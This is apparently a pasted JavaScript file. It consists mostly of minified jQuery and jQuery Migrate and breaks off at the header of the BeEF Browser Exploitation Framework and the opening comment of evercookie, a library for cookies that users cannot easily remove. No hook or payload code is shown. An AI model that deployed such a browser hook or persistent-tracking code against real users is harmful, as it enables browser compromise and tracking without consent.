b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),n.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype="encoding");var Bb=/[\t\r\n\f]/g;function Cb(a){return n.attr(a,"class")||""}n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,Cb(this)))});if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,Cb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):n.isFunction(a)?this.each(function(c){n(this).toggleClass(a.call(this,c,Cb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=n(this),f=a.match(G)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=Cb(this),b&&n._data(this,"__className__",b),n.attr(this,"class",b||a===!1?"":n._data(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+Cb(c)+" ").replace(Bb," ").indexOf(b)>-1)return!0;return!1}}),n.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Db=a.location,Eb=n.now(),Fb=/\?/,Gb=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=n.trim(b+"");return e&&!n.trim(e.replace(Gb,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():n.error("Invalid JSON: "+b)},n.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new a.DOMParser,c=d.parseFromString(b,"text/xml")):(c=new a.ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||n.error("Invalid XML: "+b),c};var Hb=/#.*$/,Ib=/([?&])_=[^&]*/,Jb=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Kb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Lb=/^(?:GET|HEAD)$/,Mb=/^\/\//,Nb=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Ob={},Pb={},Qb="*/".concat("*"),Rb=Db.href,Sb=Nb.exec(Rb.toLowerCase())||[];function Tb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(G)||[];if(n.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Ub(a,b,c,d){var e={},f=a===Pb;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Vb(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Wb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Xb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Rb,type:"GET",isLocal:Kb.test(Sb[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Qb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":n.parseJSON,"text xml":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Vb(Vb(a,n.ajaxSettings),b):Vb(n.ajaxSettings,a)},ajaxPrefilter:Tb(Ob),ajaxTransport:Tb(Pb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var d,e,f,g,h,i,j,k,l=n.ajaxSetup({},c),m=l.context||l,o=l.context&&(m.nodeType||m.jquery)?n(m):n.event,p=n.Deferred(),q=n.Callbacks("once memory"),r=l.statusCode||{},s={},t={},u=0,v="canceled",w={readyState:0,getResponseHeader:function(a){var b;if(2===u){if(!k){k={};while(b=Jb.exec(g))k[b[1].toLowerCase()]=b[2]}b=k[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===u?g:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return u||(a=t[c]=t[c]||a,s[a]=b),this},overrideMimeType:function(a){return u||(l.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>u)for(b in a)r[b]=[r[b],a[b]];else w.always(a[w.status]);return this},abort:function(a){var b=a||v;return j&&j.abort(b),y(0,b),this}};if(p.promise(w).complete=q.add,w.success=w.done,w.error=w.fail,l.url=((b||l.url||Rb)+"").replace(Hb,"").replace(Mb,Sb[1]+"//"),l.type=c.method||c.type||l.method||l.type,l.dataTypes=n.trim(l.dataType||"*").toLowerCase().match(G)||[""],null==l.crossDomain&&(d=Nb.exec(l.url.toLowerCase()),l.crossDomain=!(!d||d[1]===Sb[1]&&d[2]===Sb[2]&&(d[3]||("http:"===d[1]?"80":"443"))===(Sb[3]||("http:"===Sb[1]?"80":"443")))),l.data&&l.processData&&"string"!=typeof l.data&&(l.data=n.param(l.data,l.traditional)),Ub(Ob,l,c,w),2===u)return w;i=n.event&&l.global,i&&0===n.active++&&n.event.trigger("ajaxStart"),l.type=l.type.toUpperCase(),l.hasContent=!Lb.test(l.type),f=l.url,l.hasContent||(l.data&&(f=l.url+=(Fb.test(f)?"&":"?")+l.data,delete l.data),l.cache===!1&&(l.url=Ib.test(f)?f.replace(Ib,"$1_="+Eb++):f+(Fb.test(f)?"&":"?")+"_="+Eb++)),l.ifModified&&(n.lastModified[f]&&w.setRequestHeader("If-Modified-Since",n.lastModified[f]),n.etag[f]&&w.setRequestHeader("If-None-Match",n.etag[f])),(l.data&&l.hasContent&&l.contentType!==!1||c.contentType)&&w.setRequestHeader("Content-Type",l.contentType),w.setRequestHeader("Accept",l.dataTypes[0]&&l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+("*"!==l.dataTypes[0]?", "+Qb+"; q=0.01":""):l.accepts["*"]);for(e in l.headers)w.setRequestHeader(e,l.headers[e]);if(l.beforeSend&&(l.beforeSend.call(m,w,l)===!1||2===u))return w.abort();v="abort";for(e in{success:1,error:1,complete:1})w[e](l[e]);if(j=Ub(Pb,l,c,w)){if(w.readyState=1,i&&o.trigger("ajaxSend",[w,l]),2===u)return w;l.async&&l.timeout>0&&(h=a.setTimeout(function(){w.abort("timeout")},l.timeout));try{u=1,j.send(s,y)}catch(x){if(!(2>u))throw x;y(-1,x)}}else y(-1,"No Transport");function y(b,c,d,e){var k,s,t,v,x,y=c;2!==u&&(u=2,h&&a.clearTimeout(h),j=void 0,g=e||"",w.readyState=b>0?4:0,k=b>=200&&300>b||304===b,d&&(v=Wb(l,w,d)),v=Xb(l,v,w,k),k?(l.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(n.lastModified[f]=x),x=w.getResponseHeader("etag"),x&&(n.etag[f]=x)),204===b||"HEAD"===l.type?y="nocontent":304===b?y="notmodified":(y=v.state,s=v.data,t=v.error,k=!t)):(t=y,!b&&y||(y="error",0>b&&(b=0))),w.status=b,w.statusText=(c||y)+"",k?p.resolveWith(m,[s,y,w]):p.rejectWith(m,[w,y,t]),w.statusCode(r),r=void 0,i&&o.trigger(k?"ajaxSuccess":"ajaxError",[w,l,k?s:t]),q.fireWith(m,[w,y]),i&&(o.trigger("ajaxComplete",[w,l]),--n.active||n.event.trigger("ajaxStop")))}return w},getJSON:function(a,b,c){return n.get(a,b,c,"json")},getScript:function(a,b){return n.get(a,void 0,b,"script")}}),n.each(["get","post"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax(n.extend({url:a,type:b,dataType:e,data:c,success:d},n.isPlainObject(a)&&a))}}),n._evalUrl=function(a){return n.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return n.isFunction(a)?this.each(function(b){n(this).wrapInner(a.call(this,b))}):this.each(function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,"body")||n(this).replaceWith(this.childNodes)}).end()}});function Yb(a){return a.style&&a.style.display||n.css(a,"display")}function Zb(a){if(!n.contains(a.ownerDocument||d,a))return!0;while(a&&1===a.nodeType){if("none"===Yb(a)||"hidden"===a.type)return!0;a=a.parentNode}return!1}n.expr.filters.hidden=function(a){return l.reliableHiddenOffsets()?a.offsetWidth<=0&&a.offsetHeight<=0&&!a.getClientRects().length:Zb(a)},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var $b=/%20/g,_b=/\[\]$/,ac=/\r?\n/g,bc=/^(?:submit|button|image|reset|file)$/i,cc=/^(?:input|select|textarea|keygen)/i;function dc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||_b.test(a)?d(a,e):dc(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==n.type(b))d(a,b);else for(e in b)dc(a+"["+e+"]",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)dc(c,a[c],b,e);return d.join("&").replace($b,"+")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,"elements");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(":disabled")&&cc.test(this.nodeName)&&!bc.test(a)&&(this.checked||!Z.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(ac,"\r\n")}}):{name:b.name,value:c.replace(ac,"\r\n")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return this.isLocal?ic():d.documentMode>8?hc():/^(get|post|head|put|delete|options)$/i.test(this.type)&&hc()||ic()}:hc;var ec=0,fc={},gc=n.ajaxSettings.xhr();a.attachEvent&&a.attachEvent("onunload",function(){for(var a in fc)fc[a](void 0,!0)}),l.cors=!!gc&&"withCredentials"in gc,gc=l.ajax=!!gc,gc&&n.ajaxTransport(function(b){if(!b.crossDomain||l.cors){var c;return{send:function(d,e){var f,g=b.xhr(),h=++ec;if(g.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(f in b.xhrFields)g[f]=b.xhrFields[f];b.mimeType&&g.overrideMimeType&&g.overrideMimeType(b.mimeType),b.crossDomain||d["X-Requested-With"]||(d["X-Requested-With"]="XMLHttpRequest");for(f in d)void 0!==d[f]&&g.setRequestHeader(f,d[f]+"");g.send(b.hasContent&&b.data||null),c=function(a,d){var f,i,j;if(c&&(d||4===g.readyState))if(delete fc[h],c=void 0,g.onreadystatechange=n.noop,d)4!==g.readyState&&g.abort();else{j={},f=g.status,"string"==typeof g.responseText&&(j.text=g.responseText);try{i=g.statusText}catch(k){i=""}f||!b.isLocal||b.crossDomain?1223===f&&(f=204):f=j.text?200:404}j&&e(f,i,j,g.getAllResponseHeaders())},b.async?4===g.readyState?a.setTimeout(c):g.onreadystatechange=fc[h]=c:c()},abort:function(){c&&c(void 0,!0)}}}});function hc(){try{return new a.XMLHttpRequest}catch(b){}}function ic(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}n.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),n.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=d.head||n("head")[0]||d.documentElement;return{send:function(e,f){b=d.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||f(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var jc=[],kc=/(=)\?(?=&|$)|\?\?/;n.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=jc.pop()||n.expando+"_"+Eb++;return this[a]=!0,a}}),n.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(kc.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&kc.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(kc,"$1"+e):b.jsonp!==!1&&(b.url+=(Fb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||n.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?n(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,jc.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),n.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||d;var e=x.exec(a),f=!c&&[];return e?[b.createElement(e[1])]:(e=ja([a],b,f),f&&f.length&&n(f).remove(),n.merge([],e.childNodes))};var lc=n.fn.load;n.fn.load=function(a,b,c){if("string"!=typeof a&&lc)return lc.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=n.trim(a.slice(h,a.length)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&n.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?n("<div>").append(n.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},n.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};function mc(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,"position"),l=n(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=n.css(a,"top"),i=n.css(a,"left"),j=("absolute"===k||"fixed"===k)&&n.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,n.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?("undefined"!=typeof e.getBoundingClientRect&&(d=e.getBoundingClientRect()),c=mc(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===n.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],"html")||(c=a.offset()),c.top+=n.css(a[0],"borderTopWidth",!0),c.left+=n.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-n.css(d,"marginTop",!0),left:b.left-c.left-n.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&!n.nodeName(a,"html")&&"static"===n.css(a,"position"))a=a.offsetParent;return a||Qa})}}),n.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return Y(this,function(a,d,e){var f=mc(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each(["top","left"],function(a,b){n.cssHooks[b]=Ua(l.pixelPosition,function(a,c){return c?(c=Sa(a,b),Oa.test(c)?n(a).position()[b]+"px":c):void 0})}),n.each({Height:"height",Width:"width"},function(a,b){n.each({
  5. padding:"inner"+a,content:b,"":"outer"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return Y(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});
  6.  
  7.  
  8. /*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
  9. jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,"attrFn",o||{},"jQuery.attrFn is deprecated"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r("jQuery.fn.attr( props, pass ) is deprecated"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):("type"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in IE 6/7/8"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!0||"boolean"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase())),r}},f.test(c)&&r("jQuery.fn.attr('"+c+"') may use property instead of attribute")),s.call(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?u.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t in e?e.value:null)},set:function(e,t){var a=(e.nodeName||"").toLowerCase();return"button"===a?c.apply(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))&&i[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),i[3]&&r("$(html) HTML text after last tag is ignored"),"#"===i[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?v.call(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?m.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a(e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var a,i,o=this[0];return!o||"events"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||i===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),i)};var j=/\/(java|ecma)script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!a.nodeType&&a[0]||a,a=a.ownerDocument||a,r("jQuery.clean() is deprecated");var s,u,c,l,d=[];if(e.merge(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName(u,"script")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge([],u.getElementsByTagName("script")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S+|)\b/,A=function(t){return"string"!=typeof t||e.event.special.hover?t:(H.test(t)&&r("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'"),t&&t.replace(H,"mouseenter$1 mouseleave$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&a(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and deprecated"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r("AJAX events should be attached to document: "+t),Q.call(this,e,A(t||""),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A(t)||"",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r("jQuery.fn.toggle(handler, handler...) is deprecated");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n){var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),M?M.apply(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);
  10.  
  11.  
  12. //
  13. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  14. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  15. // See the file 'doc/COPYING' for copying permission
  16. //
  17.  
  18. /*
  19.  * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
  20.  *
  21.  *  by samy kamkar : code@samy.pl : http://samy.pl
  22.  *
  23.  * this api attempts to produce several types of persistent data
  24.  * to essentially make a cookie virtually irrevocable from a system
  25.  *
